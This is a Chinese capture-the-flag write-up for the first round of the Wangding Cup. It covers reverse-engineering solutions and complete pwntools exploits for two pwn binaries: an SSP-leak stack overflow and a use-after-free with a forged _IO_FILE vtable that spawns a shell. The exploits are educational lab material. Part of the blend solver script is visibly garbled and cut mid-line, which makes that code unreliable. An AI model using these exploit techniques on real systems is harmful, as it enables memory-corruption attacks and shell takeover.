【CTF-Re】网鼎杯第一场_Re&&部分Pwn

自己是第四场,跟着做做其他场的题目

0x01 Beijing

签到题目
看到输出是

sub_8048460(dword_804A03C)

即一个函数处理一个数组
且函数内部主要是switch返回预先定义的数组前后byte异或:

switch ( a1 )
  {
    case 0:
      v2 = byte_804A021 ^ byte_804A020;
      break;
    case 1:
      v2 = byte_804A023 ^ byte_804A022;
      break;
    case 2:
      v2 = byte_804A025 ^ byte_804A024;
      break;
    case 13:
      v2 = byte_804A03B ^ byte_804A03A;
      break;
    default:
      v2 = 0;
      break;
  }
  return v2;
......
......

动态调试看到进入switch后前四次的异或的第二个字节分别为"f"、"l","a","g",猜测每组异或前一个是干扰项,将byte_804A021、 byte_804A023、byte_804A025......改为0,patch好程序后,再次运行即得flag:

flag{amazing_beijing}

0x02 blend

首先这类似之前的一道题目(改了一些数据):

https://github.com/TechSecCTF/writeups/blob/master/CSAWQuals2017/realism/README.md

跟着再学习一下:
安装qemu:

sudo apt-get install qemu

首先运行程序:

qemu-system-i386 -drive format=raw,file=main.bin
【CTF-Re】网鼎杯第一场_Re&&部分Pwn_第1张图片
qemu

拖进IDA,16-bit mode下打开:
看到flag-checking bit:

seg000:0066                 cmp     byte ptr ds:7DC8h, 13h
seg000:006B                 jle     loc_10D
seg000:006F                 cmp     dword ptr ds:1234h, 67616C66h
seg000:0078                 jnz     loc_14D
seg000:007C                 movaps  xmm0, xmmword ptr ds:1238h
seg000:0081                 movaps  xmm5, xmmword ptr ds:7C00h
seg000:0086                 pshufd  xmm0, xmm0, 1Eh
seg000:008B                 mov     si, 8

其比较我们的输入(0x1234h)和67616C66h("flag")
调试一下:

qemu-system-i386 -drive  format=raw,file=./main.bin  -s

gdb下:

gdb -ex 'target remote localhost:1234' \
    -ex 'set architecture i8086' \
    -ex 'break *0x7c6f' \
    -ex 'continue'

(mbr的加载起始地址为0x7c00)
可以看到:

p $xmm0
$3 = {
  v4_float = {4.17598837e+21, 1.08801462e+24, 2.83386409e+26, 1.98077759e+37}, 
  v2_double = {1.2473230926066787e+190, 1.5546445437344775e+296}, 
  v16_int8 = {0x7b, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 
    0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x7d}, 
  v8_int16 = {0x617b, 0x6362, 0x6564, 0x6766, 0x6968, 0x6b6a, 0x6d6c, 0x7d6e}, 
  v4_int32 = {0x6362617b, 0x67666564, 0x6b6a6968, 0x7d6e6d6c}, 
  v2_int64 = {0x676665646362617b, 0x7d6e6d6c6b6a6968}, 
  uint128 = 0x7d6e6d6c6b6a6968676665646362617b
}
p $xmm5
$4 = {
  v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, 
  v2_double = {-8.0294250547975565, 1.241726856953559e-144}, 
  v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 
    0x83, 0xc8, 0x2, 0xf, 0x22}, 
  v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, 
  v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, 
  v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, 
  uint128 = 0x220f02c883fbe083c0200f10cd0013b8
}

其实就是这里:

seg000:007C                 movaps  xmm0, xmmword ptr ds:1238h
seg000:0081                 movaps  xmm5, xmmword ptr ds:7C00h

xmm0保存我们输入flag后面的字符
xmm5保存mbr开始的字符
可以调试后
剩下分析的便和开始提到的题相同:
解题脚本:

import binascii
import struct

# Initial value of xmm5
xmm5_start = binascii.unhexlify('220f02c883fbe083c0200f10cd0013b8')

# The data stored at 0x7DA8 and compared against esi
esi_consts = [
                'F602DD02',
                'E802DC02',
                'ED02D802',
                'E202CE02',
                'E202C402',
                'DB02D402',
                'CD02D902',
                '04031103'
              ]
esi_consts = [struct.unpack('> (0x10)
  w = struct.pack('>Q', s1) + struct.pack('>Q', s2)
  return w

def print_constraints():
  for i in range(8):
    prev_esi = esi_consts[i-1]
    xmm5 = esi_to_xmm5(prev_esi)
    if i == 0:
      xmm5 = xmm5_start

    esi = esi_consts[i]
    s1 = esi % (1 << 0x10)
    s2 = (esi - s1) >> (0x10)

    # sum of absolute differences between xmm5 and our flag
    s = ''
    for j in range(8):
      if j == 7-i:
        # This is the masking step
        s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
        continue
      s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
    s += '0 == {}, '.format(s1)
    print(s)

    s = ''
    for j in range(8,16):
      if j-8 == 7-i:
        # This is the masking step
        s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
        continue
      s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
    s += '0 == {}, '.format(s2)
    print(s)

if __name__ == '__main__':
  print_constraints()
import sys
sys.path.append('z3/build/')
from z3 import *

def abs(x):
  return If(x >= 0,x,-x)

s = Solver()

a = Int('a')
b = Int('b')
c = Int('c')
d = Int('d')
e = Int('e')
f = Int('f')
g = Int('g')
h = Int('h')
i = Int('i')
j = Int('j')
k = Int('k')
l = Int('l')
m = Int('m')
n = Int('n')
o = Int('o')
p = Int('p')

s.add(a >= 32)
s.add(b >= 32)
s.add(c >= 32)
s.add(d >= 32)
s.add(e >= 32)
s.add(f >= 32)
s.add(g >= 32)
s.add(h >= 32)
s.add(i >= 32)
s.add(j >= 32)
s.add(k >= 32)
s.add(l >= 32)
s.add(m >= 32)
s.add(n >= 32)
s.add(o >= 32)
s.add(p >= 32)

s.add(127 > a)
s.add(127 > b)
s.add(127 > c)
s.add(127 > d)
s.add(127 > e)
s.add(127 > f)
s.add(127 > g)
s.add(127 > h)
s.add(127 > i)
s.add(127 > j)
s.add(127 > k)
s.add(127 > l)
s.add(127 > m)
s.add(127 > n)
s.add(127 > o)
s.add(127 > p)

s.add(abs(a-34) + abs(b-15) + abs(c-2) + abs(d-200) + abs(e-131) + abs(f-251) + abs(g-224) + abs(0-131) + 0 == 772) 
s.add(abs(i-192) + abs(j-32) + abs(k-15) + abs(l-16) + abs(m-205) + abs(n-0) + abs(o-19) + abs(0-184) + 0 == 785) 
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(0-3) + abs(h-4) + 0 == 717) 
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(0-3) + abs(p-17) + 0 == 729) 
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(0-0) + abs(g-2) + abs(h-205) + 0 == 731) 
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(0-0) + abs(o-2) + abs(p-217) + 0 == 724) 
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(0-0) + abs(f-0) + abs(g-2) + abs(h-219) + 0 == 738) 
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(0-0) + abs(n-0) + abs(o-2) + abs(p-212) + 0 == 708) 
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(0-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-226) + 0 == 738) 
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(0-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-196) + 0 == 718) 
s.add(abs(a-0) + abs(b-0) + abs(0-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-226) + 0 == 749) 
s.add(abs(i-0) + abs(j-0) + abs(0-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-206) + 0 == 728) 
s.add(abs(a-0) + abs(0-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-237) + 0 == 744) 
s.add(abs(i-0) + abs(0-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-216) + 0 == 732) 
s.add(abs(0-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-232) + 0 == 758) 
s.add(abs(0-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-220) + 0 == 733) 
print(s.check())
mod = s.model()

chars = [
          mod[a],
          mod[b],
          mod[c],
          mod[d],
          mod[e],
          mod[f],
          mod[g],
          mod[h],
          mod[i],
          mod[j],
          mod[k],
          mod[l],
          mod[m],
          mod[n],
          mod[o],
          mod[p]
        ]


print(chars)
flag = ''.join([chr(int(str(w))) for w in chars])
flag = flag[::-1]
print('flag' +flag[12:] + flag[8:12] + flag[0:4] + flag[4:8])
【CTF-Re】网鼎杯第一场_Re&&部分Pwn_第2张图片
flag

0x03 advanced

非预期
运行一下:

welcome, here is your identification, please keep it in your pocket: 4b404c4b5648725b445845734c735949405c414d5949725c45495a51

直接拖IDA分析时候比较乱,看不出啥
不过观察pocket:
发现hex解码后xor "-,"(即按位异或0x45,0x44)即得flag:

key="4b404c4b5648725b445845734c735949405c414d5949725c45495a51".decode("hex")
key2="-,"
flag=""
j=0
for i in key:
  flag+=chr(ord(i)^ord(key2[j%2]))
  j+=1
print flag
flag{d_with_a_template_phew}

0x04 guess

main处:

.text:0000000000400A86                 call    sub_4009A6

sub_4009A6中反调试call alarm
首先nop掉
看一下保护



看到程序开启了canary保护
看到main中程序调用方式以及gets漏洞:

 __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
......
......
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
......
......
  puts("Please type your guessing flag");
  gets((__int64)&s2);

想到之前看的一篇文章:

https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/

就是通过故意触发canary保护来ssp leak
因为触发canary之后会输出stack smashing detected:+argv[0]
如果我们覆盖argv[0],便会输出特定字符串
首先明确flag被main读入到栈中
我们需要获取栈地址
程序允许三次读入:

1->覆盖argv[0]为got表地址leak libc
2->利用environ来leak stack_addr
3->利用栈地址打到flag

首先计算需要覆盖的距离:

gdb-peda$ p & __libc_argv[0]
$8 = (char **) 0x7fffffffdcc8
gdb-peda$ p $rbp-0x40
$13 = (void *) 0x7fffffffdba0
0x7fffffffdcc8-0x7fffffffdba0=0x128

EXP:

from pwn import *

elf=ELF("./guess")
elib=ELF("/lib/x86_64-linux-gnu/libc.so.6")
environ_off= elib.symbols['environ']
puts_off=elib.symbols["puts"]
puts_got_addr=elf.got["puts"]
p=process("./guess")
p.recvuntil("flag")
p.sendline("A"*0x128 + p64(puts_got_addr))
print p.recvuntil(": ")
puts_addr=u64(p.recv(6).ljust(8,"\x00"))
environ_addr=environ_off-puts_off+puts_addr
p.recvuntil("flag")
p.sendline("A"*0x128 + p64(environ_addr))
p.recvuntil(": ")
stack_addr=u64(p.recv(6).ljust(8,"\x00"))
p.recvuntil("flag")
p.sendline("A"*0x128 + p64(stack_addr-0x168))
p.recvuntil(": ")
p.interactive()

0x05 blind

首先看到new:

  if ( v1 <= 5 && !ptr[v1] )
  {
    ptr[v1] = malloc(0x68uLL);
    printf("Content:", &s);
    read_note((__int64)ptr[v1], 0x68u);
    puts("Done!");
  }

我们建立的数据保存在堆中
并由全局变量数组ptr保存
同时在release中可以看到:

 if ( v1 <= 5 && ptr[v1] && release_time <= 2 )
  {
    free(ptr[v1]);
    ++release_time;
    puts("Done!");
  }

free后没有置空指针,存在UAF
我们可以利用uaf来change被free过的chunk,构造fd来使堆块分配到bss段,同时ptr也在bss段,我们可以覆盖掉ptr数组中的指针,而后利用change进行任意地址写入
程序中存在后门:

.text:00000000004008E3
.text:00000000004008E3 sub_4008E3      proc near
.text:00000000004008E3 ; __unwind {
.text:00000000004008E3                 push    rbp
.text:00000000004008E4                 mov     rbp, rsp
.text:00000000004008E7                 mov     edi, offset command ; "/bin/sh"
.text:00000000004008EC                 call    system
.text:00000000004008F1                 nop
.text:00000000004008F2                 pop     rbp
.text:00000000004008F3                 retn
.text:00000000004008F3 ; } // starts at 4008E3

这里我们可以覆盖掉stdout的指针指向我们在bss段中构造的_IO_FILE结构,并将_IO_FILE_plus中的*vtable指向我们伪造的vtable(shell_addr)实现劫持程序流,从而调取shell:

from pwn import *

#context.log_level = 'debug'
def new(index,content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)

def change(index,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(content)

def release(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))

p = process('./blind')
shell_addr=0x4008E3
new(0,'1111')
new(1,'2222')
release(0)
change(0,p64(0x60203d) + '\n')
new(2,'aaaa')
payload='aaa' + 'a'*0x10+p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)+p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(3,payload)
IO_payload=p64(0x00000000fbad8000)+p64(0x602500)*7+p64(0x602501)+p64(0)*9+p64(0x602600)+p64(0)*8+p64(0x602090+0x68*3)
vtable_payload=p64(shell_addr)*13
change(1,IO_payload[0:0x68])
change(2,IO_payload[0x68:0xd0])
change(3,IO_payload[0xd0:]+'\n')
change(4,vtable_payload)
change(0,p64(0x602090)+'\n')
p.interactive()

你可能感兴趣的:(【CTF-Re】网鼎杯第一场_Re&&部分Pwn)